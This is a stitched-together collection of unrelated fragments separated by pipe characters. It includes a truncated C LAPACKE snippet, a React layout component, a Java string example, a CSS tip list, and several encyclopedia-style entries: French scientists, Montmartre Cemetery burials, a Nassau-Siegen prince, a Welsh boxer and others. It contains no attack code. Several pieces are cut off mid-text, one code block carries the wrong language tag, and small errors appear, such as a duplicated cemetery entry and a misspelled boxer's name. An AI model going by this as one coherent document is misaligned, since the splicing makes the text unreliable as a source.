return API_SUFFIX(LAPACKE_d_nancheck)( len, ap, 1 );
}
}
``` |
Nepal competed at the 2017 Asian Indoor and Martial Arts Games in Ashgabat, Turkmenistan from 17 to 27 September 2017 with sending a delegation of 18 competitors for the event.
Nepal couldn't receive any medal at the multi-sport event.
Participants
References
Nations at the 2017 Asian Indoor and Martial Arts Games
2017 in Nepalese sport |
```xml
"use client"
import { ScrollArea } from "@/components/ui/scroll-area"
import Logo from "@/components/header/logo"
import HeaderMenu from "@/components/headerMenu"
import Customize from "../components/progress/customize"
import DoneOrders from "../components/progress/doneOrders"
const HistoryLayout = ({ children }: { children: React.ReactNode }) => {
return (
<>
<header className="flex flex-none items-center border-b px-4 py-3 ">
<div className="flex w-auto flex-none items-center space-x-2">
<HeaderMenu />
<Logo />
</div>
<div className="flex flex-auto items-center pl-4 overflow-hidden gap-1">
<div className="flex-auto overflow-hidden">
<DoneOrders />
</div>
<Customize />
</div>
</header>
<div className="flex-auto overflow-hidden">
<ScrollArea className="h-full">{children}</ScrollArea>
</div>
</>
)
}
export default HistoryLayout
``` |
This is a list of notable French scientists.
A
José Achache (20th-21st centuries), geophysicist and ecologist
Jean le Rond d'Alembert (1717–1783), mathematician, mechanician, physicist and philosopher
Claude Allègre (born 1937), geochemist
Lucile Allorge (born 1937), botanist
André-Marie Ampère (1775–1836), physicist and mathematician
Camille Arambourg (1885–1969), vertebrate palaeontologist.
Françoise Ardré (1931–2010), phycologist, marine scientist
B
Louis Bachelier (1870–1946), mathematician
Antoine Jérôme Balard (1802–1876), chemist
Éliane Basse (1899–1985), paleontologist and geologist
Pierre-Dominique Bazaine (1786–1838), mathematician and engineer
Jean de Beaurain (1696–1771), geographer
Antoine César Becquerel (1788–1878), electrochemist
Edmond Becquerel (1820–1891), physicist
Henri Becquerel (1852–1908), physicist and Nobel laureate
Jean Becquerel (1878–1953), physicist
Léon Bence (1929–1987), physician
Jacques Benoit (1896–1982), physician, biologist and neuroendocrinologist
Claude Bernard (1813–1878), physiologist
Marcellin Berthelot (1827–1907), chemist, opponent of vitalism
Claude Louis Berthollet (1748–1822), chemist
Julien Bessières (1777–1840), physician, diplomat, and member of the Egyptian Institute of Sciences and Arts
Alfred Binet (1857–1911), psychologist who invented the first practical IQ test
Prosper-René Blondlot (1849–1930), physicist
Pierre Boiteau (1911–1980), botanist
Jean Bosler (1878–1973), astronomer
Marcellin Boule (1861–1942), palaeontologist, geologist, and anthropologist
Claude Bourgelat (1712–1779), veterinary surgeon
Thomas Bourgeron (born 1965), neuroscientist
Jean-Baptiste Boussingault (1801–1887), chemist
Gerard Brachet (born 1944), space scientist
Paul Broca (1824–1880), physician, surgeon, anatomist, and anthropologist
Bernard Brunhes (1867–1910), physicist
Georges-Louis Leclerc, Comte de Buffon (1707–1788), naturalist and mathematician
C
Bernard Cabane (born 1945), physicist and chemist
Pierre Jean George Cabanis (1757–1808), physiologist
Albert Calmette (1863–1933), physician, bacteriologist and immunologist
Georges Canguilhem (1904–1995), physician and philosopher
Nicolas Léonard Sadi Carnot (1796–1832), physicist and military engineer
Élie Cartan (1869–1951), mathematician
Henri Cartan (1904–2008), mathematician
Augustin-Louis Cauchy (1789–1857), mathematician and physicist
Jean-François Champollion (1790–1832), philologist
Jean-Pierre Changeux (born 1936), neurochemist
Georges Charpak (1924–2010), physicist, Nobel prize winner 1992
Georges Charpy (1865–1945), physicist and metallurgist
Henry Louis Le Chatelier (1850–1936), chemist known for Le Chatelier's principle
Albert Châtelet (1883–1960), mathematician
Émilie du Châtelet (1706–1749), mathematician and physicist
Jean Mathieu de Chazelles (1657–1710), professor of hydrography
Michel Che (1941–2019), chemist
Daniel Choquet (born 1962), neuroscientist
Gustave Choquet (1915–2006), mathematician
Yvonne Choquet-Bruhat (born 1923), mathematician
Charles Pierre Claret de Fleurieu (1738–1810), explorer, hydrographer and politician
Alain Connes (born 1947), mathematician; Fields Medalist 1982
Louis Couffignal (1902–1966), mathematician and cybernetician
Charles-Augustin de Coulomb (1736–1806), physicist, discoverer of Coulomb's law
Vincent Courtillot (born 1948), geophysicist
Jacques-Yves Cousteau (1910–1997), oceanographer
Philippe Cousteau (1940–1979), oceanographer
Jean-Marie-Joseph Coutelle (1748–1835), engineer, scientist and pioneer of ballooning
Adam de Craponne (1526–1576), engineer who implemented the Canal de Craponne in 1559
Jean Cruveilhier (1791–1874), anatomist and pathologist
Marie Curie (1867–1934), physicist and chemist, two Nobel Prizes, in physics (1903) and chemistry (1911)
Pierre Curie (1859–1906), physicist and chemist, Nobel Prize in physics (1903)
Georges Cuvier (1769–1832), regarded as the founding father of palaeontology
Boris Cyrulnik (born 1937), ethologist, neurologist, and psychiatrist
D
Thomas-François Dalibard (1709–1778), physicist and botanist
Henry Darcy (1803–1858), hydraulic engineer
Michel Darluc (1717–1783), naturalist
Raymond Daudel (1920–2006), quantum chemist
Jean Dausset (1916–2009), biologist, Nobel prize winner 1980
André-Louis Debierne (1874–1949), chemist
Jean Baptiste Joseph Delambre (1749–1822), mathematician and astronomer
Marcel Deprez (1843–1918), electrical engineer
John Theophilus Desaguliers (1683–1744), natural philosopher (physicist)
Guillaume Delisle (1675–1726), cartographer
Girard Desargues (1591–1661), mathematician
René Descartes (1596–1650), scientist and philosopher
Robert Debré (1882–1978), physician
Roland Douce (1939–2018), plant biologist
Jean-Baptiste du Hamel (1624–1706), natural philosopher (physicist)
Émilien Dumas (1804–1873), palaeontologist, and geologist
Jean-Baptiste Dumas (1800–1884), chemist
Charles François Dupuis (1742–1809), polymath and theologian
F
Pierre Fauchard (1679–1761), physician, "the father of modern dentistry"
Hervé Faye (1814–1902), astronomer
Pierre de Fermat (1607–1665), mathematician
Louis Feuillée (1660–1732), explorer, astronomer, geographer, and botanist
Bernard Foing (20–21st century), astronomer
Léon Foucault (1819–1868), physicist
Pierre Fourmanoir (1924–2007), ichthyologist
Joseph Fourier (1768–1830), mathematician and physicist
Augustin-Jean Fresnel (1788–1827), physicist known for work on optics
G
Pierre-Gilles de Gennes (1932–2007), mathematician and physicist, Nobel Prize in physics 1991
Sophie Germain (1776–1831) mathematician, physicist and philosopher.
Paul Gervais (1816–1879), palaeontologist and entomologist
Jacques Géry (1917–2007), ichthyologist
Mirko Grmek (1924–2000), historian of medicine
Alexander Grothendieck (1928–2014), mathematician; Fields Medalist 1966 (German-born)
Camille Guérin (1872–1961), biologist
André Guinier (1911–2000), physicist
H
Jacques Hadamard (1865–1963), mathematician
Armand Havet (1795–1820), botanist
Victor Henri (1872–1940), physical chemist and physiologist
Charles Hermite (1822–1901), mathematician
Catherine Hill (born 1946), epidemiologist and biostatistician
Étienne Hubert d'Orléans (1567–1614), Arabist
J
François Jacob (1920–2013), biologist, Nobel prize winner 1965
Charles Janet (1849–1932), chemist and biologist
Paul Janet (1823–1899), philosopher
Irène Joliot-Curie (1897–1956), physicist, Nobel Prize winner 1935
Frédéric Joliot-Curie (1900–1958), physicist, Nobel Prize winner 1935
Jean Jouzel (born 1947), glaciologist and climatologist
Gaston Julia (1893–1978), mathematician
K
Nicole El Karoui (born 1944), mathematician
Robert Kühner (1903–1996), mycologist
Jean Kuntzmann (1912–1992), mathematician
L
Michel de La Vigne (1588–1648), physician
Yves Lacoste (born 1929), geographer and geopolitician
Laurent Lafforgue (born 1966), mathematician; Fields Medalist 2002
Frédéric de Lafresnaye (1783–1861), ornithologist
Joseph Louis Lagrange (1736–1813), mathematician
Jean Laherrère (born 1931), consultant and petroleum engineer
Claude François Lallemand (1790–1854), physician and pathologist
Jean-Baptiste Lamarck (1744–1829), evolutionary biologist
Paul Langevin (1872–1946), physicist
Pierre-Simon Laplace (1749–1827), mathematician and physicist
François-de-Paule Latapie (1739–1823), botanist
Lucien Laubier (1936–2008), oceanographer
René Lavocat (1909–2007), paleontologist
Antoine Lavoisier (1743–1794), chemist
Michel Lazdunski (born 1938), biochemist
Eliane Le Breton (1897–1977), physiologist
Xavier Le Pichon (born 1937), geophysicist
Jean-Marie Lehn (born 1939), chemist, Nobel prize 1987
Jean-Marc Lévy-Leblond (born 1940), physicist
Claude Lévi-Strauss (1908–2009), anthropologist
Arnoult de Lisle (1556–1613), Arabist and physician
Pierre-Louis Lions (born 1956), mathematician; Fields Medalist 1994
Edmond Locard (1877–1966), pioneer of forensic science
André Lwoff (1902–1994), biologist, Nobel prize 1965
M
Jean-Michel Macron (born 1950), neurologist
Charles Madic (1942–2008), radiochemist
Jean-Jacques d'Ortous de Mairan (1678–1771), geophysicist, astronomer and chronobiologist
Benoit Mandelbrot (1924–2010), mathematician
Pierre Louis Maupertuis (1698–1759), mathematician and philosopher
Prosper Ménière (1799–1862), doctor concerned with hearing loss and tinnitus
Marin Mersenne (1588–1648), mathematician
André Michaux (1746–1802), botanist and explorer
François André Michaux (1770–1855), botanist
Jean-Louis Michel (born 1945), oceanographer and engineer
Alphonse Milne-Edwards (1835–1900), mammalologist and ornithologist
Henri Milne-Edwards (1800–1885), zoologist
Abraham de Moivre (1667–1754), mathematician
Jacques Monod (1910–1976), biologist, Nobel prize winner 1965
Théodore Monod (1902–2000), naturalist and theologian
Gabriel Mouton (1618–1694), mathematician and astronomer
N–O
Adolphe-Simon Neboux (1806–1844), surgeon and naturalist
Louis Néel (1904–2000), physicist, Nobel Prize 1970
André Niederlender (1890–1959), archaeologist
Jean de Noailles (1739–1824), chemist
Jean-Baptiste Noulet (1802–1890), archaeologist
Hélène Olivier-Bourbigou (born 1962), chemist
P–Q
Henri Padé (1863–1953), mathematician
Paul Painlevé (1863–1933), mathematician and statesman
Denis Papin (1647–1713), physicist, mathematician, and inventor
Blaise Pascal (1623–1662), mathematician and philosopher
Étienne Pascal (1588–1651), mathematician
Louis Pasteur (1822–1895), microbiologist and chemist
Jean Pecquet (1622–1674), psychologist
Jean-Marie Pelt (1933–2015), botanist
Jocelyne Pérard (born 1940), geographer
Jean Robert Petit (21st century), paleoclimatologist
Alphonse Pinart (1852–1911), philologist
Gilles Pisier (born 1950), mathematician
Hippolyte Pixii (1808–1835), inventor
Henri Poincaré (1854–1912), mathematician and physicist
Lucien Poincaré (1862–1920), physicist
Siméon Poisson (1781–1840), mathematician and physicist
Pierre Poivre (1719–1786), horticulturist and botanist
Albéric Pont (1870–1960), dentist and pioneer in maxillofacial surgery
Alberte Pullman (1920–2011), quantum chemist
Bernard Pullman (1919–1996), quantum chemist
Lucien Quélet (1832-1899), naturalist and mycologist
R
Petrus Ramus (1515–1572), mathematician and logician
Louis-Antoine Ranvier (1835–1922), physician, pathologist, anatomist and histologist
Didier Raoult (born 1952), microbiologist and virologist
René Antoine Ferchault de Réaumur (1683–1757), entomologist
Jean-Baptiste Robinet (1735–1820), naturalist
Paul Rohmer (1876–1977), physician
Michel Rolle (1652–1719), mathematician
Henri Romagnesi (1912–1999), mycologist
Jean Rostand (1894–1977), biologist and philosopher
Louis Rougier (1889–1982), mathematician, physicist, and philosopher
S
Nicolas Sarrabat (1698–1739), mathematician concerned with many aspects of science
Henri Émile Sauvage (1842–1917), ichthyologist, paleontologist, and herpetologist
Conrad Schlumberger (1878–1936), geophysicist
Marcel Schlumberger (1884–1953), geophysicist
Laurent Schwartz (1915–2002), mathematician; Fields Medalist 1950
Géraud Sénizergues (born 1957), computer scientist and 2002 Gödel Prize recipient.
Jean-Pierre Serre (born 1926), mathematician; Fields Medalist 1954
T
Michel Talagrand (born 1952), mathematician
Jules Tannery (1848–1910), mathematician
Auguste Ambroise Tardieu (1818–1879), forensic medical scientist
Haroun Tazieff (1914–1998), volcanologist and geologist
Daniel Tauvry (1669–1701), physician
Fabiola Terzi (20–21st century), physician-scientist
Melchisédech Thévenot (c. 1620–1692), inventor of the spirit level
Adrien-Jean-Pierre Thilorier (1790–1844), discoverer of dry ice
Françoise Thom (born 1951), historian
René Thom (1923–2002), mathematician; Fields Medal 1958
Muriel Thomasset (born 1971), physicist
Pierre-Marie-Jérôme Trésaguet (1716–1796), engineer and road builder
François Trèves (born 1930), mathematician
V–Y
Georges Valiron (1884–1955), mathematician
Jean-Pierre Vernant (1914–2007), historian
Jean-Christophe Victor (1947–2016), geographer
Paul-Émile Victor (1907–1995), ethnologist
François Viète (1540–1603), mathematician
Louis Jean Pierre Vieillot (1748–1830), ornithologist
Charles Athanase Walckenaer (1771–1852), geographer
Wendelin Werner (born 1968), mathematician; Fields Medalist 2006 (German-born)
Rachid Yazami (born 1953), engineer and inventor
Jean-Christophe Yoccoz (1957–2016), mathematician; Fields Medalist 1994
See also
List of French people
Lists of scientists
:tr:Fransız bilim adamları listesi
Scientists
French |
Adika is both a given name and a surname. Notable people with the name include:
Given name
Adika Peter-McNeilly, Canadian professional basketball player
Surname
David Adika, Israeli photographer and educator
Stefan Adika, bassist and former member of L.A. Guns |
Senator Logan may refer to:
Members of the United States Senate
Charles Logan (24 character), fictional U.S. Senator in the television series 24
George Logan (Pennsylvania politician) (1753–1821), U.S. Senator from Pennsylvania
John A. Logan (1826–1886), U.S. Senator from Illinois from 1879 to 1886
M. M. Logan (1874–1939), U.S. Senator from Kentucky
William Logan (Kentuckian) (1776–1822), U.S. Senator from Kentucky
United States state senate members
Edward Lawrence Logan (1875–1939), Massachusetts State Senate
George Logan (Connecticut politician), Connecticut State Senate
Henry Logan (politician) (1784–1866), Pennsylvania State Senate
John Logan (pioneer) (1747–1807), Kentucky State Senate
Sean Logan (born 1970), Pennsylvania State Senate |
```java
package com.journaldev.string;
import java.util.Arrays;
public class StringToCharacter {
/**
* Java class to convert String to character
* @param args
*/
public static void main(String[] args) {
String str = "abc";
//get char at specific index
char c = str.charAt(0);
//Character array from String
char[] charArray = str.toCharArray();
System.out.println(str +" String index 0 character = "+c);
System.out.println(str+" String converted to character array = "+Arrays.toString(charArray));
}
}
``` |
The Cemetery of Montmartre () is a cemetery in the 18th arrondissement of Paris, France, that dates to the early 19th century. Officially known as the Cimetière du Nord, it is the third largest necropolis in Paris, after the Père Lachaise Cemetery and the Montparnasse Cemetery.
History
In the mid-18th century, overcrowding in the cemeteries of Paris had created numerous problems, from impossibly high funeral costs to unsanitary living conditions in the surrounding neighborhoods. In the 1780s, the Cimetière des Innocents was officially closed and citizens were banned from burying corpses within the city limits of Paris. During the early 19th century, new cemeteries were constructed outside the precincts of the capital: Montmartre in the north, Père Lachaise Cemetery in the east, Passy Cemetery in the west and Montparnasse Cemetery in the south.
The Montmartre Cemetery was opened on 1 January 1825. It was initially known as le Cimetière des Grandes Carrières (Cemetery of the Large Quarries). The name referenced the cemetery's unique location, in an abandoned gypsum quarry. The quarry had previously been used during the French Revolution as a mass grave. It was built below street level, in the hollow of an abandoned gypsum quarry located west of the Butte near the beginning of Rue Caulaincourt in Place de Clichy. As is still the case today, its sole entrance was constructed on Avenue Rachel under Rue Caulaincourt.
A popular tourist destination, Montmartre Cemetery is the final resting place of many famous artists who lived and worked in the Montmartre area. See the full list of notable interments below.
A
Adolphe Adam (1803–1856), composer
Yvette Alde (1911–1967), painter
Charles-Valentin Alkan (1813–1888), composer
André-Marie Ampère (1775–1836), physicist (namesake of electrical unit ampere)
Édouard André (1840–1911), landscape architect
Juan Crisóstomo Arriaga (1806–1826), composer
Alfred-Arthur Brunel de Neuville (1852–1941), painter
B
Benjamin Ball (physician) (1833–1893), psychiatrist
Michel Berger (1947–1992), composer, singer
Hector Berlioz (1803–1869), composer (originally buried in a less prominent plot in the same cemetery)
Léon Boëllmann (1862–1897), composer and organist
Alexandre Boëly (1785–1858), composer and organist
Mélanie "Mel" Bonis (1858–1937), composer
François Claude Amour, marquis de Bouillé (1739–1800), royalist general named in the French National Anthem,
Lili Boulanger (1893–1918), composer
Nadia Boulanger (1887–1979), composer
Georges Hilaire Bousquet (1846–1937), jurist, legal scholar
Marcel Boussac (1889–1980), entrepreneur
Giuseppina Bozzacchi, (1853–1870), ballerina
Victor Brauner (1903–1966), painter
Václav Brožík (1851–1901), Czech painter
Alfred-Arthur Brunel de Neuville (1852–1941), painter
Myles Byrne (1780–1862), Irish revolutionary soldier
C
Moïse de Camondo (1860–1935), banker
Nissim de Camondo (1892–1917), banker, World War I pilot
Aimée Campton (1882–1930), actress
Pierre Cardin (1922–2020), Fashion Designer
Marie-Antoine Carême (1784–1833), famed inventor of classical cuisine
Louis-Eugène Cavaignac (1802–1857), politician
Fanny Cerrito (1817–1909), Italian ballerina
Philippe (Zdar) Cerboneschi (1967–2019), music producer, dj (Cassius_(band))
Jean-Martin Charcot (1825–1893), neurologist
Jacques Charon (1920–1975), actor
Théodore Chassériau (1819–1856), painter
Henri-Georges Clouzot (1907–1977), director and screenwriter
Véra Clouzot (1913–1960), actress
D
Henri-Bernard Dabadie (1797–1853), operatic baritone
Louise-Zulmé Dabadie (1795–1877), operatic soprano
Dalida (1933–1987), Egyptian-born Italo-French singer and actress, singing diva.
Louis Antoine Debrauz de Saldapenna (1811–1871), Austrian writer and diplomat
Edgar Degas (1834–1917), Impressionist painter, sculptor
Léo Delibes (1836–1891), composer of Romantic music
Maria Deraismes (1828–1894), social reformer, feminist
Narcisse Virgilio Díaz (1808–1876), painter
William Didier-Pouget (1864–1959), artist painter
Maxime Du Camp (1822–1894), author
Norbert Dufourcq (1904–1990), organist, musicologist, writer
Alexandre Dumas, fils (1824–1895), novelist, playwright
Marie Duplessis (1824–1847), courtesan, The Lady of the Camellias
François Duprat (1941–1978), assassinated political radical
F
Renée Jeanne Falconetti (1892–1946), actress, notable for La Passion de Jeanne d'Arc.
Georges Feydeau (1862–1921), playwright of La Belle Époque
Léon Foucault (1819–1868), scientist
Charles Fourier (1772–1837), utopian socialist
Christopher Fratin (1801–1864), animalier sculptor
Carole Fredericks (1952–2001), African-American singer
G
France Gall (1947–2018), singer
Theophile Gautier (1811–1872), poet, novelist
Jean-Léon Gérôme (1824–1904), painter
Eugène Gigout (1844–1925), composer and organist
José Melchor Gomis (1791–1836), Spanish Romantic composer
Edmond de Goncourt (1822–1896), author/publisher, brother of Jules (patron of the Prix Goncourt)
Jules de Goncourt (1830–1870), author/publisher, brother of Edmond and buried in the same grave. Also patron of the Prix Goncourt
Amédée Gordini (1899–1979), Gordini sports car manufacturer
La Goulue (Louise Weber) (1866–1929), Can-can dancer (she was originally buried in the Cimetière de Pantin)
Jean-Baptiste Greuze (1725–1805), artist
Béla Grünwald (1839–1891), Hungarian historian and politician
Jules Guérin (1860–1910), nationalist political radical
Lucien Guitry (1860–1925), actor
Sacha Guitry (1885–1957), actor/director
Charles Gumery (1827–1871), sculptor
H
Fromental Halévy (1799–1862), composer
Heinrich Heine (1797–1856), German poet
Fanny Heldy (1888–1973), Belgian soprano
Jacques Ignace Hittorff (1792–1867), architect
I
François-André Isambert (1792–1857), lawyer, historian, and politician
Daniel Iffla (1825–1907), Jewish philanthropist and financier
J
Maurice Jaubert (1900–1940), composer, conductor
André Jolivet (1905–1974), composer
Marcel Jouhandeau (1888–1979), author
Louis Jouvet (1887–1951), actor
Anna Judic (1850–1911), actress, chanteuse
Antoine-Henri Jomini (1779–1869), general, military author
K
Friedrich Kalkbrenner (1784–1849), pianist, composer
Miecislas Kamieński, a Polish soldier who was a volunteer in the French Army and was killed in the Battle of Magenta, mentioned because the statue by Jules Franceschi on his grave is well known
Julian Klemczyński, (1807 or 1810–1851?), pianist, composer
Marie-Pierre Kœnig (1898–1970), Free French Field Marshal
Bernard-Marie Koltès (1948–1989), playwright, director
Joseph Kosma (1905–1969), composer
Slavko Kopač (1913–1995), Croatian-French painter, sculptor and poet
L
Eugène Labiche (1815–1888), dramatist
Dominique Laffin (1952–1985), actress
Charles Lamoureux (1834–1899), violinist
Jean Lannes (1769–1809), Marshal of France (heart-burial only, the body is in the Pantheon)
Jules Joseph Lefebvre (1836–1911), painter
Margaret Kelly Leibovici (1910–2004), "Miss Bluebell", Irish dancer
Frédérick Lemaître (1800–1876), actor
Pauline Leroux (1809–1891), dancer
Élisabeth Leseur (1866–1914), mystic
José Yves Limantour (1854–1935) Mexican Secretary of Finance
Emma Livry (1842–1863), ballet dancer
Édouard Lucas (1842–1891), mathematician
M
Aimé Maillart (1817–1871), composer
Henri Meilhac (1830–1897), dramatist
Mary Marquet (1895–1979), actress
Victor Massé (1822–1884), composer
Joseph Porter Michaels (1838–1912), American dentist, professor at the Dental School of Paris, he collaborated with Professor Péan for the creation of the first shoulder prosthesis
Auguste de Montferrand (1786–1858), architect
José María Luis Mora (1794–1850), Mexican politician
Gustave Moreau (1826–1898), symbolist painter
Jeanne Moreau (1928–2017), actress
Aimé Morot (1850–1913), academic art painter
Henri Murger (1822–1861), novelist
Musidora (1889–1957), (Jeanne Roques) actress/director/writer
N
Vaslav Nijinsky (1890–1950), ballet dancer
Adolphe Nourrit (1802–1839), tenor
Eugène Nyon (1812–1870), playwright and novelist
Alphonse de Neuville (1836–1885), painter whose funerary monument was realized by Francis de Saint-Vidal
O
Jacques Offenbach (1819–1880), French composer of German descent
Georges Ohnet (1848–1919), writer
Harriet Osborne O'Hagan (1830–1921), Irish portrait artist
P
Théophile-Jules Pelouze (1807–1867), chemist
Isaac Péreire (1806–1880), financier
Jacob Rodrigues Péreire (1715–1780), educator
Francis Picabia (1879–1953), painter
Alphonsine Plessis (1824–1847), La Dame aux Camélias
Patrick Pons (1952–1980), motorcycle racer
Pierre Alexis Ponson du Terrail (1829–1871), novelist
Jean Le Poulain (1924–1988), actor
Francisque Poulbot (1879–1946), painter, illustrator
Olga Preobrajenska (1871–1962), ballet dancer (according to other sources, she is buried in the Sainte-Geneviève-des-Bois Russian Cemetery)
R
Juliette Récamier (1777–1849), socialite and woman of letters
Salomon Reinach (1858–1932), archaeologist
Ernest Renan (1823–1892), writer (buried in the Ary Scheffer grave)
Jacques Rigaut (1898–1929), poet
Jacques Rivette (1928–2016), film director and film critic
Henri Rivière (1827–1883), naval officer, writer
Jean Rédélé (1922–2007), automotive pioneer, pilot and founder of the French automotive brand Alpine.
Julie Rodde (1818–1900), French writer, poet and journalist.
Hilda Roosevelt (1881–1965), opera singer, daughter of Cornelius Roosevelt (1847–1902)
Endre Rozsda (1913–1999), surrealist painter
S
Joseph Isidore Samson (1793–1871), actor and playwright
Henri Sauguet (1901–1989), composer
Adolphe Sax (1814–1894), musical instrument artisan (inventor of saxophone)
Ary Scheffer (1795–1858), painter
Cornélia Scheffer (1830–1899), sculptor and designer
Helen G. Scott (1915–1987), Truffaut / Hitchcock
Philippe Paul de Ségur, Count of Ségur (1780–1873), historian
Claude Simon (1913–2005), novelist
Juliusz Słowacki (1809–1849), Polish romantic poet
Harriet Smithson (1808–1854), Anglo-Irish actress, the first wife of Hector Berlioz, and the inspiration for his Symphonie fantastique
Fernando Sor (1778–1839), guitarist
Alexandre Soumet (1788–1845), poet
Stendhal (Marie-Henri Beyle) (1783–1842), writer
Charles Henri Sanson (1739–1806), executioner of Louis XVI
T
Marie Taglioni (1804–1884), ballerina
Ludmilla Tchérina (1924–2004), dancer, actress and painter
Ambroise Thomas (1811–1896), opera composer
Armand Toussaint (1806–1862), sculptor
Jean-Pierre Travot (1767–1836), general
Constant Troyon (1810–1865), painter
François Truffaut (1932–1984), French New Wave filmmaker and director
V
Horace Vernet (1789–1863), painter
Auguste Vestris (1760–1842), dancer
Gaétan Vestris (1729–1808), dancer
Pauline Viardot (1821–1910), opera singer, composer
Alfred de Vigny (1797–1863), poet, playwright, novelist
Jean-Baptiste Vuillaume (1798–1875), luthier
W
René Waldeck-Rousseau (1846–1904), politician
Walenty Wańkowicz (1799–1842), painter
Georges-Fernand Widal (1862–1929), bacteriologist
Z
Émile Zola (1840–1902), author (original site, moved to the Panthéon in 1908). The Zola family grave is still there, with Émile's name on it.
See also
Saint-Vincent Cemetery in Montmartre
List of burial places of classical musicians
References
External links
Official website
Cimetiere de Montmartre (in French)
Links and Images Collection of resources
Google Maps
Written in Stone – Burial locations of literary figures.
Montmartre cemetery information In English
Photos of Montmartre Documenting funerary statuary in Paris cemeteries; on pariscemeteries.com
Cemeteries in Paris
Montmartre
Buildings and structures in the 18th arrondissement of Paris
Cemeteries established in the 1820s |
Emmanuel Ignatius of Nassau-Siegen (6 January 1688 - 1 August 1735), was a Fieldmarshal of the Spanish and Austrian Army, and Regent of the Principality of Nassau-Siegen in 1727.
Born in Roermond, he was the twenty-second child of John Francis Desideratus, Prince of Nassau-Siegen, but the ninth born from his third and last marriage with the French Isabella Clara du Puget de la Serre.
Life
A member of the Catholic branch of the House of Nassau-Siegen, his status and that of his full brothers as dynastic members of the family was disputed because their parents' marriage was deemed morganatic. The marriage contract between John Francis Desideratus and Isabella Clara du Puget (signed one month after their marriage, on 13 March) stipulated that their offspring would have no higher rank than that of untitled nobles unless the male descendants of the Prince, through his two previous (and equal) marriages, became extinct. Despite this provision, after the death of John Francis Desideratus on 17 December 1699, Emmanuel Ignatius (who inherited the Barony de Renaix with his older brothers) and his surviving full-siblings assumed the title, name and arms of Nassau-Siegen. Their older half-brother William Hyacinth, Prince of Nassau-Siegen obtained from the Reichshofrat (in 1701) and the Reichskammergericht (in 1709) legal judgments denying dynastic titles of the Princes of Nassau-Siegen to the descendants of the John Francis Desideratus' third marriage on the grounds that the marriage contract signed in 1669 was for a morganatic union. Despite this, Emmanuel Ignatius and his siblings all used the title of Prince or Princess of Nassau, Count or Countess of Katzenelnbogen, Vianden and Diez, Baron or Baroness of Beilstein and Ronse.
In Paris on 14 May 1711, Emmanuel Ignatius married with Charlotte (17 March 1688 - 17 March 1769), daughter of Louis II, Count de Mailly-Nesle. They had two sons, who died in infancy: Charles Nicholas (14 February 1712 - 1 July 1712) and Maximilian (29 August 1713 - 1714).
Almost since the beginning, the marriage was extremely unhappy. In 1716 Emmanuel Ignatius and Charlotte became officially separated; since them, she maintained a dissolute life in Paris, and her husband had her imprisoned in a monastery for adultery.
Emmanuel Ignatius pursued a military career, firstly in the Spanish army and since 1714 in the Austrian army. In 1718 he became a colonel and from 1723 he was Generalfeldwachtmeister, in 1733 being appointed a field marshal. He was also a captain in the army of Archduchess Maria Elisabeth, Governor of the Austrian Netherlands. In 1715 he was awarded the Order of the Golden Fleece and the Order of Saint Hubert in 1720.
In 1722 Emmanuel Ignatius and Charlotte were reconciled, and on 25 October of that year, she gave birth to a third son, Maximilian William Adolph, who was initially recognized by Emmanuel Ignatius as his own.
After the death of Frederick William Adolf, Prince of Nassau-Siegen in 1722, Holy Roman Emperor Charles VI authorized his fellow Roman Catholics, Emmanuel Ignatius and his two older brothers to receive part of the dynastic Nassau-Siegen inheritance. After expulsion of William Hyacinth, in 1727 the Emperor named Emmanuel Ignatius administrator of the Principality of Nassau-Siegen. However, his power was significantly restricted, because the real government was in the hands of the Electorate of Cologne; soon after, he returned to Brussels without further attempts to exercise authority in the principality.
The hoped for Catholic succession in Nassau-Siegen after the death of Prince Frederick William II in 1734 never took place, because both Emmanuel Ignatius and his brother Francis Hugo died shortly after and within months of each other in 1735.
On 26 August 1734 and close to his death, Emmanuel Ignatius rejected Maximilian William Adolph as his son, declaring him to be adulterous. Despite his posthumous, formal recognition by French courts (sentence du Chatelet, 31 January 1756), he was declared illegitimate in the Holy Roman Empire, within whose boundaries Nassau-Siegen was located, at the request of William IV, Prince of Orange by the Reichshofrat on 17 December 1744, that decision being confirmed by the Emperor on 15 October 1745. After his death in 1748, his pretensions were continued by his son Charles Henry but without results. Nassau-Siegen was eventually inherited by the Protestant Nassau-Diez branch of the princely family.
Notes
References
Erik A. Lund: War for the Every Day: Generals, Knowledge, and Warfare in Early Modern Europe 1680-1740. Westport, 1999, p. 212.
Karl Braun: Prinz Hyazint [In:] Preußische Jahrbücher Bd.24 Berlin, 1869 p. 455.
Johann Stephan Pütter: Historische Entwicklung der heutigen Staatsverfassung des Deutschen Reiches. Bd.3 Göttingen, 1787, p. 33.
1688 births
1735 deaths
House of Nassau-Siegen
Spanish military personnel
Knights of the Golden Fleece of Spain
Generals of the Holy Roman Empire
Sons of monarchs |
Simon Lewty (1941-2021) was an English artist.
Lewty used many different layers in his work and mixed text with picture. Some of his work was based on a map of Warwickshire - where he used to live - and he drew pictures symbolizing his memories of the place.
Early life
He was born in Sutton Coldfield in 1941. He attended Mid-Warwickshire School of Art, now Warwickshire College (1957–1960), Hornsey College of Art (1961–1963). He worked as a lecturer at the Mid-Warwickshire College of Further Education, (Warwickshire College), (1964–1981), before living and working in Leamington Spa, Warwickshire and in Swanage, Dorset.
Monograph
The Self as a Stranger (2010) is a monograph on the work of Simon Lewty, Black Dog Publishing, London.
References
1941 births
2021 deaths
English artists
People from Sutton Coldfield |
```css
Hide the scrollbar in webkit browser
Writing comments in CSS
Use `border-radius` to style rounded corners of an element
Hexadecimal color system
Select items using negative `nth-child`
``` |
Nathan Thorley (born 18 April 1993) is former Welsh professional boxer who challenged for the Commonwealth cruiserweight title in August 2020. As an amateur he competed for Wales in the light-heavyweight category at the 2014 Commonwealth Games where he won a bronze medal.
He turned professional in 2015, winning the Welsh light-heavyweight title two years later by defeating Jermaine Asare.
Career
Amateur
Born in Cardiff, Thorley took up boxing as a child between the age of nine or ten after joining a boxing gym managed by Pat Thomas in the Fairwater area. He later fought at St. Joseph's and Splott Amateur Boxing Club. Thorley was chosen to represent Wales at the 2014 Commonwealth Games in Glasgow. He had initially not been selected for the squad before replacing Jamie Evans who pulled out of the squad. He won a bronze medal at the games after suffering a defeat to Kennedy St-Pierre in the semi-finals when his corner threw in the towel in the third round.
As an amateur, Thorley recorded 70 victories.
Professional
Thorley turned professional in 2015, winning his debut bout against Polish fighter Krystian Nadolski by KO. Having won his first eight bouts as a professional, Thorley gained a title bout for the Welsh Light-heavyweight title against fellow Commonwealth bronze medalist Jermaine Asare at Merthyr Leisure Centre. Thorley knocked Adare down in the second round with a right hand which prompted the referee to end the bout, awarding Thorley a TKO victory.
